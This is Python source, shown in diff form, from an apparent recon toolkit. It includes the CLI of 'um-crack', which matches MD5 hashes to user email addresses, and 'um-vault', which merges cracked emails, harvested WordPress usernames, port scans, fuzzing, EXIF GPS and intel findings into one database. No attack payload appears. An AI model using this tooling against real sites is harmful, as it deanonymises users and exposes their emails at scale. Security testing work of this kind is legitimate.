"""Show uncracked hashes."""
|
||||||
|
conn = init_db(ctx.obj["db"])
|
||||||
|
show_uncracked(conn, limit=100)
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
@cli.command()
|
||||||
|
@click.option("-o", "--output", default="um-crack-export.csv")
|
||||||
|
@click.option("--all", "export_all", is_flag=True, help="Export all hashes (not just cracked)")
|
||||||
|
@click.pass_context
|
||||||
|
def export(ctx, output, export_all):
|
||||||
|
"""Export results to CSV."""
|
||||||
|
conn = init_db(ctx.obj["db"])
|
||||||
|
if export_all:
|
||||||
|
export_all_csv(conn, output)
|
||||||
|
else:
|
||||||
|
export_csv_fn(conn, output)
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
@cli.command()
|
||||||
|
@click.pass_context
|
||||||
|
def stats(ctx):
|
||||||
|
"""Show database statistics."""
|
||||||
|
conn = init_db(ctx.obj["db"])
|
||||||
|
show_stats(conn)
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
@cli.command()
|
||||||
|
@click.argument("directory")
|
||||||
|
@click.option("-o", "--output", default="um-crack.db")
|
||||||
|
@click.pass_context
|
||||||
|
def merge(ctx, directory, output):
|
||||||
|
"""Merge multiple .db files."""
|
||||||
|
import glob
|
||||||
|
db_paths = glob.glob(os.path.join(directory, "*.db"))
|
||||||
|
if not db_paths:
|
||||||
|
console.print(f"[red]No .db files found in {directory}[/]")
|
||||||
|
return
|
||||||
|
conn = merge_databases(db_paths, output)
|
||||||
|
show_stats(conn)
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
@cli.command()
|
||||||
|
@click.argument("email")
|
||||||
|
@click.pass_context
|
||||||
|
def verify(ctx, email):
|
||||||
|
"""Verify an email against loaded hashes."""
|
||||||
|
conn = init_db(ctx.obj["db"])
|
||||||
|
h = hashlib.md5(email.lower().strip().encode()).hexdigest()
|
||||||
|
row = conn.execute("SELECT * FROM hashes WHERE hash = ?", (h,)).fetchone()
|
||||||
|
if row:
|
||||||
|
console.print(f"[bold green]MATCH![/] Hash {h} matches email {email}")
|
||||||
|
console.print(f" Domain: {row['domain'] or '-'}")
|
||||||
|
console.print(f" Username: {row['username'] or '-'}")
|
||||||
|
console.print(f" Display Name: {row['display_name'] or '-'}")
|
||||||
|
|
||||||
|
# Update if not already cracked
|
||||||
|
if not row["cracked_email"]:
|
||||||
|
conn.execute("""
|
||||||
|
UPDATE hashes SET cracked_email = ?, crack_method = 'manual_verify',
|
||||||
|
cracked_at = CURRENT_TIMESTAMP
|
||||||
|
WHERE hash = ?
|
||||||
|
""", (email, h))
|
||||||
|
conn.commit()
|
||||||
|
console.print("[green]Recorded as cracked.[/]")
|
||||||
|
else:
|
||||||
|
console.print(f"[dim]No match. Hash {h} not in database.[/]")
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
@cli.command("hash-email")
|
||||||
|
@click.argument("email")
|
||||||
|
def hash_email(email):
|
||||||
|
"""Show the MD5 hash of an email address."""
|
||||||
|
h = hashlib.md5(email.lower().strip().encode()).hexdigest()
|
||||||
|
console.print(f"[cyan]{email}[/] → [green]{h}[/]")
|
||||||
|
|
||||||
|
# ─── Interactive Menu ─────────────────────────────────────────────────────────
|
||||||
|
def interactive_menu(ctx):
|
||||||
|
conn = init_db(ctx.obj["db"])
|
||||||
|
|
||||||
|
custom_wordlist = []
|
||||||
|
|
||||||
|
def action_handler(key, tui):
|
||||||
|
nonlocal custom_wordlist
|
||||||
|
|
||||||
|
if key == "1":
|
||||||
|
def on_source(source):
|
||||||
|
if not os.path.exists(source):
|
||||||
|
tui.log(f"[!] File not found: {source}")
|
||||||
|
return
|
||||||
|
if source.endswith(".db"):
|
||||||
|
count = import_from_hash_db(conn, source)
|
||||||
|
else:
|
||||||
|
count = import_hashes_from_file(conn, source)
|
||||||
|
tui.log(f"[+] Imported {count} hashes from {source}")
|
||||||
|
tui.prompt("Path to .db or .txt file", on_source)
|
||||||
|
|
||||||
|
elif key == "2":
|
||||||
|
def on_path(wl_path):
|
||||||
|
nonlocal custom_wordlist
|
||||||
|
if os.path.exists(wl_path):
|
||||||
|
custom_wordlist = load_wordlist(wl_path)
|
||||||
|
tui.log(f"[+] Loaded {len(custom_wordlist)} words from {wl_path}")
|
||||||
|
else:
|
||||||
|
tui.log(f"[!] File not found: {wl_path}")
|
||||||
|
tui.prompt("Wordlist file path", on_path)
|
||||||
|
|
||||||
|
elif key == "3":
|
||||||
|
def on_region(region):
|
||||||
|
if region == "all":
|
||||||
|
region_val = None
|
||||||
|
else:
|
||||||
|
region_val = region
|
||||||
|
tui.log("[*] Starting crack session...")
|
||||||
|
cracker = Cracker(conn, custom_wordlist=custom_wordlist)
|
||||||
|
original_record = cracker._record_crack
|
||||||
|
|
||||||
|
def patched_record(hash_val, email, method, hash_lookup):
|
||||||
|
original_record(hash_val, email, method, hash_lookup)
|
||||||
|
tui.log(f"[+] CRACKED: {email} ({method})")
|
||||||
|
|
||||||
|
cracker._record_crack = patched_record
|
||||||
|
|
||||||
|
def do_crack():
|
||||||
|
cracker.crack(region_focus=region_val)
|
||||||
|
if cracker.newly_cracked:
|
||||||
|
tui.log(f"[+] Session complete: {len(cracker.newly_cracked)} new cracks")
|
||||||
|
else:
|
||||||
|
tui.log("[-] Session complete: no new cracks")
|
||||||
|
tui.log(f"[*] Tested {cracker.candidates_tested:,} candidates")
|
||||||
|
|
||||||
|
tui.run_threaded(do_crack, status="Cracking...")
|
||||||
|
tui.prompt("Region focus (us/uk/de/jp/cn/etc, or 'all')", on_region, default="all")
|
||||||
|
|
||||||
|
elif key == "4":
|
||||||
|
rows = conn.execute(
|
||||||
|
"SELECT hash, domain, username, display_name, cracked_email, crack_method FROM hashes WHERE cracked_email != '' ORDER BY cracked_at DESC LIMIT 50"
|
||||||
|
).fetchall()
|
||||||
|
t = Table(box=box.HEAVY, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Cracked Hashes[/]")
|
||||||
|
t.add_column("Hash", style="dim", max_width=16)
|
||||||
|
t.add_column("Domain", style="cyan")
|
||||||
|
t.add_column("User", style="green")
|
||||||
|
t.add_column("Email", style="bold green")
|
||||||
|
t.add_column("Method", style="yellow")
|
||||||
|
for r in rows:
|
||||||
|
t.add_row(r["hash"][:16], r["domain"], r["username"], r["cracked_email"], r["crack_method"])
|
||||||
|
tui.show_table(t)
|
||||||
|
|
||||||
|
elif key == "5":
|
||||||
|
rows = conn.execute(
|
||||||
|
"SELECT hash, domain, username, display_name FROM hashes WHERE cracked_email = '' OR cracked_email IS NULL LIMIT 50"
|
||||||
|
).fetchall()
|
||||||
|
t = Table(box=box.HEAVY, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Uncracked Hashes[/]")
|
||||||
|
t.add_column("Hash", style="dim", max_width=16)
|
||||||
|
t.add_column("Domain", style="cyan")
|
||||||
|
t.add_column("User", style="green")
|
||||||
|
t.add_column("Display Name")
|
||||||
|
for r in rows:
|
||||||
|
t.add_row(r["hash"][:16], r["domain"], r["username"], r["display_name"])
|
||||||
|
tui.show_table(t)
|
||||||
|
|
||||||
|
elif key == "6":
|
||||||
|
def on_file(output_file):
|
||||||
|
export_csv_fn(conn, output_file)
|
||||||
|
tui.log(f"[+] Exported to {output_file}")
|
||||||
|
tui.prompt("Output file", on_file, default="um-crack-export.csv")
|
||||||
|
|
||||||
|
elif key == "7":
|
||||||
|
total = conn.execute("SELECT COUNT(*) FROM hashes").fetchone()[0]
|
||||||
|
cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0]
|
||||||
|
uncracked = total - cracked
|
||||||
|
t = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Statistics[/]")
|
||||||
|
t.add_column("Metric", style="bold")
|
||||||
|
t.add_column("Value", justify="right", style="cyan")
|
||||||
|
t.add_row("Total Hashes", f"{total:,}")
|
||||||
|
t.add_row("Cracked", f"[green]{cracked:,}[/]")
|
||||||
|
t.add_row("Uncracked", f"[yellow]{uncracked:,}[/]")
|
||||||
|
if total > 0:
|
||||||
|
t.add_row("Crack Rate", f"{cracked/total*100:.1f}%")
|
||||||
|
tui.show_table(t)
|
||||||
|
|
||||||
|
elif key == "8":
|
||||||
|
def on_email(email):
|
||||||
|
h = hashlib.md5(email.lower().strip().encode()).hexdigest()
|
||||||
|
row = conn.execute("SELECT * FROM hashes WHERE hash = ?", (h,)).fetchone()
|
||||||
|
if row:
|
||||||
|
tui.log(f"[+] MATCH: {email} -> {h}")
|
||||||
|
if not row["cracked_email"]:
|
||||||
|
conn.execute("UPDATE hashes SET cracked_email=?, crack_method='manual', cracked_at=CURRENT_TIMESTAMP WHERE hash=?",
|
||||||
|
(email, h))
|
||||||
|
conn.commit()
|
||||||
|
tui.log(" Recorded as cracked.")
|
||||||
|
else:
|
||||||
|
tui.log(f"[-] No match for {email} (hash: {h})")
|
||||||
|
tui.prompt("Email to verify", on_email)
|
||||||
|
|
||||||
|
elif key == "9":
|
||||||
|
def on_email(email):
|
||||||
|
h = hashlib.md5(email.lower().strip().encode()).hexdigest()
|
||||||
|
tui.log(f"[*] {email} -> {h}")
|
||||||
|
tui.prompt("Email", on_email)
|
||||||
|
|
||||||
|
tui = UmbraTUI(
|
||||||
|
tool_name=TOOL_NAME,
|
||||||
|
version=VERSION,
|
||||||
|
menu_items=MENU_ITEMS,
|
||||||
|
info_items=CRACK_INFO,
|
||||||
|
action_handler=action_handler,
|
||||||
|
stats_fn=lambda: get_db_stats(conn),
|
||||||
|
theme=THEME_COLOR,
|
||||||
|
engagement=ctx.obj.get("engagement"),
|
||||||
|
)
|
||||||
|
tui.run()
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
cli()
|
||||||
Executable
+920
@@ -0,0 +1,920 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""um-vault.py — Umbra Master Database Aggregator
|
||||||
|
10-table relational schema (countries→orgs→domains→hashes→cracked).
|
||||||
|
Imports from um-hash + um-crack databases, statistics dashboard.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import csv
|
||||||
|
import glob
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import sqlite3
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
import click
|
||||||
|
from rich.console import Console
|
||||||
|
from rich.table import Table
|
||||||
|
from rich import box
|
||||||
|
|
||||||
|
# ─── Version ──────────────────────────────────────────────────────────────────
|
||||||
|
VERSION = "1.0.0"
|
||||||
|
TOOL_NAME = "um-vault"
|
||||||
|
THEME_COLOR = "bright_white"
|
||||||
|
BANNER = r"""
|
||||||
|
_ _ __ __ ____ _____ __ __ _ _ _ _______
|
||||||
|
| | | | \/ | _ \| __ \ /\ \ \ / /\ | | | | | |__ __|
|
||||||
|
| | | | \ / | |_) | |__) | / \ \ \ / / \ | | | | | | |
|
||||||
|
| | | | |\/| | _ <| _ / / /\ \ \ \/ / /\ \ | | | | | | |
|
||||||
|
| |__| | | | | |_) | | \ \ / ____ \ \ / ____ \| |__| | |____| |
|
||||||
|
\____/|_| |_|____/|_| \_\_/ \_\ \/_/ \_\\____/|______|_|
|
||||||
|
"""
|
||||||
|
|
||||||
|
# ─── Database Schema (10 tables) ─────────────────────────────────────────────
|
||||||
|
def init_db(path="um-vault.db"):
|
||||||
|
conn = sqlite3.connect(path, check_same_thread=False)
|
||||||
|
conn.row_factory = sqlite3.Row
|
||||||
|
conn.execute("PRAGMA journal_mode=WAL")
|
||||||
|
conn.execute("PRAGMA busy_timeout=5000")
|
||||||
|
conn.execute("PRAGMA foreign_keys=ON")
|
||||||
|
|
||||||
|
# 1. Countries
|
||||||
|
conn.execute("""
|
||||||
|
CREATE TABLE IF NOT EXISTS countries (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
code TEXT UNIQUE NOT NULL,
|
||||||
|
name TEXT DEFAULT '',
|
||||||
|
region TEXT DEFAULT '',
|
||||||
|
total_orgs INTEGER DEFAULT 0,
|
||||||
|
total_domains INTEGER DEFAULT 0
|
||||||
|
)
|
||||||
|
""")
|
||||||
|
|
||||||
|
# 2. Organizations
|
||||||
|
conn.execute("""
|
||||||
|
CREATE TABLE IF NOT EXISTS organizations (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
name TEXT UNIQUE NOT NULL,
|
||||||
|
country_code TEXT DEFAULT '',
|
||||||
|
industry TEXT DEFAULT '',
|
||||||
|
total_domains INTEGER DEFAULT 0,
|
||||||
|
total_hashes INTEGER DEFAULT 0,
|
||||||
|
total_cracked INTEGER DEFAULT 0,
|
||||||
|
FOREIGN KEY (country_code) REFERENCES countries(code)
|
||||||
|
)
|
||||||
|
""")
|
||||||
|
|
||||||
|
# 3. Domains
|
||||||
|
conn.execute("""
|
||||||
|
CREATE TABLE IF NOT EXISTS domains (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
domain TEXT UNIQUE NOT NULL,
|
||||||
|
org_id INTEGER DEFAULT 0,
|
||||||
|
is_wordpress INTEGER DEFAULT 0,
|
||||||
|
wp_version TEXT DEFAULT '',
|
||||||
|
detection_methods TEXT DEFAULT '',
|
||||||
|
total_hashes INTEGER DEFAULT 0,
|
||||||
|
total_cracked INTEGER DEFAULT 0,
|
||||||
|
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||||
|
last_seen DATETIME,
|
||||||
|
FOREIGN KEY (org_id) REFERENCES organizations(id)
|
||||||
|
)
|
||||||
|
""")
|
||||||
|
|
||||||
|
# 4. Hashes
|
||||||
|
conn.execute("""
|
||||||
|
CREATE TABLE IF NOT EXISTS hashes (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
hash TEXT UNIQUE NOT NULL,
|
||||||
|
domain_id INTEGER DEFAULT 0,
|
||||||
|
domain TEXT DEFAULT '',
|
||||||
|
username TEXT DEFAULT '',
|
||||||
|
display_name TEXT DEFAULT '',
|
||||||
|
user_id INTEGER DEFAULT 0,
|
||||||
|
avatar_url TEXT DEFAULT '',
|
||||||
|
cracked_email TEXT DEFAULT '',
|
||||||
|
crack_method TEXT DEFAULT '',
|
||||||
|
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||||
|
cracked_at DATETIME,
|
||||||
|
FOREIGN KEY (domain_id) REFERENCES domains(id)
|
||||||
|
)
|
||||||
|
""")
|
||||||
|
|
||||||
|
# 5. Ports (from um-scan)
|
||||||
|
conn.execute("""
|
||||||
|
CREATE TABLE IF NOT EXISTS ports (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
host TEXT NOT NULL,
|
||||||
|
port INTEGER NOT NULL,
|
||||||
|
state TEXT DEFAULT 'open',
|
||||||
|
service TEXT DEFAULT '',
|
||||||
|
banner TEXT DEFAULT '',
|
||||||
|
response_ms INTEGER DEFAULT 0,
|
||||||
|
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||||
|
UNIQUE(host, port)
|
||||||
|
)
|
||||||
|
""")
|
||||||
|
|
||||||
|
# 6. Intel findings (from um-intel)
|
||||||
|
conn.execute("""
|
||||||
|
CREATE TABLE IF NOT EXISTS intel (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
target TEXT NOT NULL,
|
||||||
|
source TEXT NOT NULL,
|
||||||
|
finding_type TEXT NOT NULL,
|
||||||
|
value TEXT NOT NULL,
|
||||||
|
extra TEXT DEFAULT '{}',
|
||||||
|
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||||
|
UNIQUE(target, source, finding_type, value)
|
||||||
|
)
|
||||||
|
""")
|
||||||
|
|
||||||
|
# 7. API endpoints (from um-api)
|
||||||
|
conn.execute("""
|
||||||
|
CREATE TABLE IF NOT EXISTS api_endpoints (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
target TEXT NOT NULL,
|
||||||
|
url TEXT NOT NULL,
|
||||||
|
path TEXT DEFAULT '',
|
||||||
|
discovery_method TEXT NOT NULL,
|
||||||
|
status_code INTEGER DEFAULT 0,
|
||||||
|
description TEXT DEFAULT '',
|
||||||
|
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||||
|
UNIQUE(target, url, discovery_method)
|
||||||
|
)
|
||||||
|
""")
|
||||||
|
|
||||||
|
# 8. Fuzz results (from um-fuzz)
|
||||||
|
conn.execute("""
|
||||||
|
CREATE TABLE IF NOT EXISTS fuzz_results (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
base_url TEXT NOT NULL,
|
||||||
|
path TEXT NOT NULL,
|
||||||
|
status_code INTEGER NOT NULL,
|
||||||
|
content_length INTEGER DEFAULT 0,
|
||||||
|
content_type TEXT DEFAULT '',
|
||||||
|
redirect_url TEXT DEFAULT '',
|
||||||
|
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||||
|
UNIQUE(base_url, path)
|
||||||
|
)
|
||||||
|
""")
|
||||||
|
|
||||||
|
# 9. EXIF data (from um-exif)
|
||||||
|
conn.execute("""
|
||||||
|
CREATE TABLE IF NOT EXISTS exif_data (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
file_path TEXT UNIQUE NOT NULL,
|
||||||
|
file_name TEXT DEFAULT '',
|
||||||
|
camera_make TEXT DEFAULT '',
|
||||||
|
camera_model TEXT DEFAULT '',
|
||||||
|
datetime_original TEXT DEFAULT '',
|
||||||
|
gps_coords TEXT DEFAULT '',
|
||||||
|
artist TEXT DEFAULT '',
|
||||||
|
copyright TEXT DEFAULT ''
|
||||||
|
)
|
||||||
|
""")
|
||||||
|
|
||||||
|
# 10. Enum findings (from um-enum)
|
||||||
|
conn.execute("""
|
||||||
|
CREATE TABLE IF NOT EXISTS enum_findings (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
domain TEXT NOT NULL,
|
||||||
|
phase TEXT NOT NULL,
|
||||||
|
command TEXT NOT NULL,
|
||||||
|
value TEXT NOT NULL,
|
||||||
|
url TEXT DEFAULT '',
|
||||||
|
status_code INTEGER DEFAULT 0,
|
||||||
|
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||||
|
UNIQUE(domain, command, value)
|
||||||
|
)
|
||||||
|
""")
|
||||||
|
|
||||||
|
# Indexes
|
||||||
|
conn.execute("CREATE INDEX IF NOT EXISTS idx_domains_domain ON domains(domain)")
|
||||||
|
conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_hash ON hashes(hash)")
|
||||||
|
conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_domain ON hashes(domain)")
|
||||||
|
conn.execute("CREATE INDEX IF NOT EXISTS idx_ports_host ON ports(host)")
|
||||||
|
conn.execute("CREATE INDEX IF NOT EXISTS idx_intel_target ON intel(target)")
|
||||||
|
|
||||||
|
conn.commit()
|
||||||
|
return conn
|
||||||
|
|
||||||
|
# ─── Import Functions ─────────────────────────────────────────────────────────
|
||||||
|
def import_wp_db(vault_conn, wp_db_path):
|
||||||
|
"""Import from um-wp.db."""
|
||||||
|
if not os.path.exists(wp_db_path):
|
||||||
|
return 0
|
||||||
|
src = sqlite3.connect(wp_db_path)
|
||||||
|
src.row_factory = sqlite3.Row
|
||||||
|
count = 0
|
||||||
|
for r in src.execute("SELECT * FROM sites").fetchall():
|
||||||
|
vault_conn.execute("""
|
||||||
|
INSERT INTO domains (domain, is_wordpress, wp_version, detection_methods, last_seen)
|
||||||
|
VALUES (?, ?, ?, ?, CURRENT_TIMESTAMP)
|
||||||
|
ON CONFLICT(domain) DO UPDATE SET
|
||||||
|
is_wordpress = MAX(is_wordpress, excluded.is_wordpress),
|
||||||
|
wp_version = CASE WHEN excluded.wp_version != '' THEN excluded.wp_version ELSE wp_version END,
|
||||||
|
detection_methods = CASE WHEN excluded.detection_methods != '' THEN excluded.detection_methods ELSE detection_methods END,
|
||||||
|
last_seen = CURRENT_TIMESTAMP
|
||||||
|
""", (r["domain"], r["is_wordpress"], r["wp_version"], r["detection_methods"]))
|
||||||
|
count += 1
|
||||||
|
vault_conn.commit()
|
||||||
|
src.close()
|
||||||
|
return count
|
||||||
|
|
||||||
|
def import_hash_db(vault_conn, hash_db_path):
|
||||||
|
"""Import from um-hash.db."""
|
||||||
|
if not os.path.exists(hash_db_path):
|
||||||
|
return 0
|
||||||
|
src = sqlite3.connect(hash_db_path)
|
||||||
|
src.row_factory = sqlite3.Row
|
||||||
|
count = 0
|
||||||
|
for r in src.execute("SELECT * FROM hashes").fetchall():
|
||||||
|
# Ensure domain exists
|
||||||
|
vault_conn.execute("""
|
||||||
|
INSERT OR IGNORE INTO domains (domain) VALUES (?)
|
||||||
|
""", (r["domain"],))
|
||||||
|
|
||||||
|
domain_row = vault_conn.execute(
|
||||||
|
"SELECT id FROM domains WHERE domain=?", (r["domain"],)
|
||||||
|
).fetchone()
|
||||||
|
domain_id = domain_row["id"] if domain_row else 0
|
||||||
|
|
||||||
|
vault_conn.execute("""
|
||||||
|
INSERT INTO hashes (hash, domain_id, domain, username, display_name,
|
||||||
|
user_id, avatar_url)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?, ?)
|
||||||
|
ON CONFLICT(hash) DO UPDATE SET
|
||||||
|
domain = CASE WHEN excluded.domain != '' THEN excluded.domain ELSE domain END,
|
||||||
|
username = CASE WHEN excluded.username != '' THEN excluded.username ELSE username END,
|
||||||
|
display_name = CASE WHEN excluded.display_name != '' THEN excluded.display_name ELSE display_name END
|
||||||
|
""", (r["hash"], domain_id, r["domain"], r["username"],
|
||||||
|
r["display_name"], r["user_id"], r["avatar_url"]))
|
||||||
|
count += 1
|
||||||
|
vault_conn.commit()
|
||||||
|
src.close()
|
||||||
|
return count
|
||||||
|
|
||||||
|
def import_crack_db(vault_conn, crack_db_path):
|
||||||
|
"""Import from um-crack.db."""
|
||||||
|
if not os.path.exists(crack_db_path):
|
||||||
|
return 0
|
||||||
|
src = sqlite3.connect(crack_db_path)
|
||||||
|
src.row_factory = sqlite3.Row
|
||||||
|
count = 0
|
||||||
|
for r in src.execute("SELECT * FROM hashes WHERE cracked_email != ''").fetchall():
|
||||||
|
vault_conn.execute("""
|
||||||
|
UPDATE hashes SET
|
||||||
|
cracked_email = ?,
|
||||||
|
crack_method = ?,
|
||||||
|
cracked_at = ?
|
||||||
|
WHERE hash = ? AND (cracked_email = '' OR cracked_email IS NULL)
|
||||||
|
""", (r["cracked_email"], r["crack_method"], r["cracked_at"], r["hash"]))
|
||||||
|
if vault_conn.execute("SELECT changes()").fetchone()[0] == 0:
|
||||||
|
# Hash not in vault yet, insert it
|
||||||
|
vault_conn.execute("""
|
||||||
|
INSERT OR IGNORE INTO hashes (hash, domain, username, display_name,
|
||||||
|
cracked_email, crack_method, cracked_at)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?, ?)
|
||||||
|
""", (r["hash"], r["domain"], r["username"], r["display_name"],
|
||||||
|
r["cracked_email"], r["crack_method"], r["cracked_at"]))
|
||||||
|
count += 1
|
||||||
|
vault_conn.commit()
|
||||||
|
src.close()
|
||||||
|
return count
|
||||||
|
|
||||||
|
def import_scan_db(vault_conn, scan_db_path):
|
||||||
|
"""Import from um-scan.db."""
|
||||||
|
if not os.path.exists(scan_db_path):
|
||||||
|
return 0
|
||||||
|
src = sqlite3.connect(scan_db_path)
|
||||||
|
src.row_factory = sqlite3.Row
|
||||||
|
count = 0
|
||||||
|
for r in src.execute("SELECT * FROM ports WHERE state='open'").fetchall():
|
||||||
|
vault_conn.execute("""
|
||||||
|
INSERT INTO ports (host, port, state, service, banner, response_ms)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?)
|
||||||
|
ON CONFLICT(host, port) DO UPDATE SET
|
||||||
|
service = CASE WHEN excluded.service != '' THEN excluded.service ELSE service END,
|
||||||
|
banner = CASE WHEN excluded.banner != '' THEN excluded.banner ELSE banner END
|
||||||
|
""", (r["host"], r["port"], r["state"], r["service"],
|
||||||
|
r["banner"], r["response_ms"]))
|
||||||
|
count += 1
|
||||||
|
vault_conn.commit()
|
||||||
|
src.close()
|
||||||
|
return count
|
||||||
|
|
||||||
|
def import_intel_db(vault_conn, intel_db_path):
|
||||||
|
"""Import from um-intel.db."""
|
||||||
|
if not os.path.exists(intel_db_path):
|
||||||
|
return 0
|
||||||
|
src = sqlite3.connect(intel_db_path)
|
||||||
|
src.row_factory = sqlite3.Row
|
||||||
|
count = 0
|
||||||
|
for r in src.execute("SELECT * FROM findings").fetchall():
|
||||||
|
vault_conn.execute("""
|
||||||
|
INSERT OR IGNORE INTO intel (target, source, finding_type, value, extra)
|
||||||
|
VALUES (?, ?, ?, ?, ?)
|
||||||
|
""", (r["target"], r["source"], r["finding_type"], r["value"], r["extra"]))
|
||||||
|
count += 1
|
||||||
|
vault_conn.commit()
|
||||||
|
src.close()
|
||||||
|
return count
|
||||||
|
|
||||||
|
def import_api_db(vault_conn, api_db_path):
|
||||||
|
"""Import from um-api.db."""
|
||||||
|
if not os.path.exists(api_db_path):
|
||||||
|
return 0
|
||||||
|
src = sqlite3.connect(api_db_path)
|
||||||
|
src.row_factory = sqlite3.Row
|
||||||
|
count = 0
|
||||||
|
for r in src.execute("SELECT * FROM endpoints").fetchall():
|
||||||
|
vault_conn.execute("""
|
||||||
|
INSERT OR IGNORE INTO api_endpoints (target, url, path, discovery_method,
|
||||||
|
status_code, description)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?)
|
||||||
|
""", (r["target"], r["url"], r["path"], r["discovery_method"],
|
||||||
|
r["status_code"], r["description"]))
|
||||||
|
count += 1
|
||||||
|
vault_conn.commit()
|
||||||
|
src.close()
|
||||||
|
return count
|
||||||
|
|
||||||
|
def import_fuzz_db(vault_conn, fuzz_db_path):
|
||||||
|
"""Import from um-fuzz.db."""
|
||||||
|
if not os.path.exists(fuzz_db_path):
|
||||||
|
return 0
|
||||||
|
src = sqlite3.connect(fuzz_db_path)
|
||||||
|
src.row_factory = sqlite3.Row
|
||||||
|
count = 0
|
||||||
|
for r in src.execute("SELECT * FROM results").fetchall():
|
||||||
|
vault_conn.execute("""
|
||||||
|
INSERT OR IGNORE INTO fuzz_results (base_url, path, status_code,
|
||||||
|
content_length, content_type, redirect_url)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?)
|
||||||
|
""", (r["base_url"], r["path"], r["status_code"],
|
||||||
|
r["content_length"], r["content_type"], r["redirect_url"]))
|
||||||
|
count += 1
|
||||||
|
vault_conn.commit()
|
||||||
|
src.close()
|
||||||
|
return count
|
||||||
|
|
||||||
|
def import_exif_db(vault_conn, exif_db_path):
|
||||||
|
"""Import from um-exif.db."""
|
||||||
|
if not os.path.exists(exif_db_path):
|
||||||
|
return 0
|
||||||
|
src = sqlite3.connect(exif_db_path)
|
||||||
|
src.row_factory = sqlite3.Row
|
||||||
|
count = 0
|
||||||
|
for r in src.execute("SELECT * FROM images WHERE has_exif=1").fetchall():
|
||||||
|
vault_conn.execute("""
|
||||||
|
INSERT OR IGNORE INTO exif_data (file_path, file_name, camera_make,
|
||||||
|
camera_model, datetime_original, gps_coords, artist, copyright)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?)
|
||||||
|
""", (r["file_path"], r["file_name"], r["camera_make"], r["camera_model"],
|
||||||
|
r["datetime_original"], r["gps_coords"], r["artist"], r["copyright"]))
|
||||||
|
count += 1
|
||||||
|
vault_conn.commit()
|
||||||
|
src.close()
|
||||||
|
return count
|
||||||
|
|
||||||
|
def import_enum_db(vault_conn, enum_db_path):
|
||||||
|
"""Import from um-enum.db."""
|
||||||
|
if not os.path.exists(enum_db_path):
|
||||||
|
return 0
|
||||||
|
src = sqlite3.connect(enum_db_path)
|
||||||
|
src.row_factory = sqlite3.Row
|
||||||
|
count = 0
|
||||||
|
for r in src.execute("SELECT * FROM findings").fetchall():
|
||||||
|
vault_conn.execute("""
|
||||||
|
INSERT OR IGNORE INTO enum_findings (domain, phase, command, value, url, status_code)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?)
|
||||||
|
""", (r["domain"], r["phase"], r["command"], r["value"],
|
||||||
|
r["url"], r["status_code"]))
|
||||||
|
count += 1
|
||||||
|
vault_conn.commit()
|
||||||
|
src.close()
|
||||||
|
return count
|
||||||
|
|
||||||
|
# Map tool prefixes to import functions
|
||||||
|
IMPORT_MAP = {
|
||||||
|
"um-wp": import_wp_db,
|
||||||
|
"um-hash": import_hash_db,
|
||||||
|
"um-crack": import_crack_db,
|
||||||
|
"um-scan": import_scan_db,
|
||||||
|
"um-intel": import_intel_db,
|
||||||
|
"um-api": import_api_db,
|
||||||
|
"um-fuzz": import_fuzz_db,
|
||||||
|
"um-exif": import_exif_db,
|
||||||
|
"um-enum": import_enum_db,
|
||||||
|
}
|
||||||
|
|
||||||
|
def detect_db_type(path):
|
||||||
|
"""Detect which Umbra tool created a .db file."""
|
||||||
|
basename = os.path.basename(path).lower()
|
||||||
|
for prefix in IMPORT_MAP:
|
||||||
|
if basename.startswith(prefix):
|
||||||
|
return prefix
|
||||||
|
# Try detecting by table names
|
||||||
|
try:
|
||||||
|
conn = sqlite3.connect(path)
|
||||||
|
tables = [r[0] for r in conn.execute(
|
||||||
|
"SELECT name FROM sqlite_master WHERE type='table'"
|
||||||
|
).fetchall()]
|
||||||
|
conn.close()
|
||||||
|
if "sites" in tables and "hashes" not in tables:
|
||||||
|
return "um-wp"
|
||||||
|
if "hashes" in tables and "sites" in tables:
|
||||||
|
return "um-hash"
|
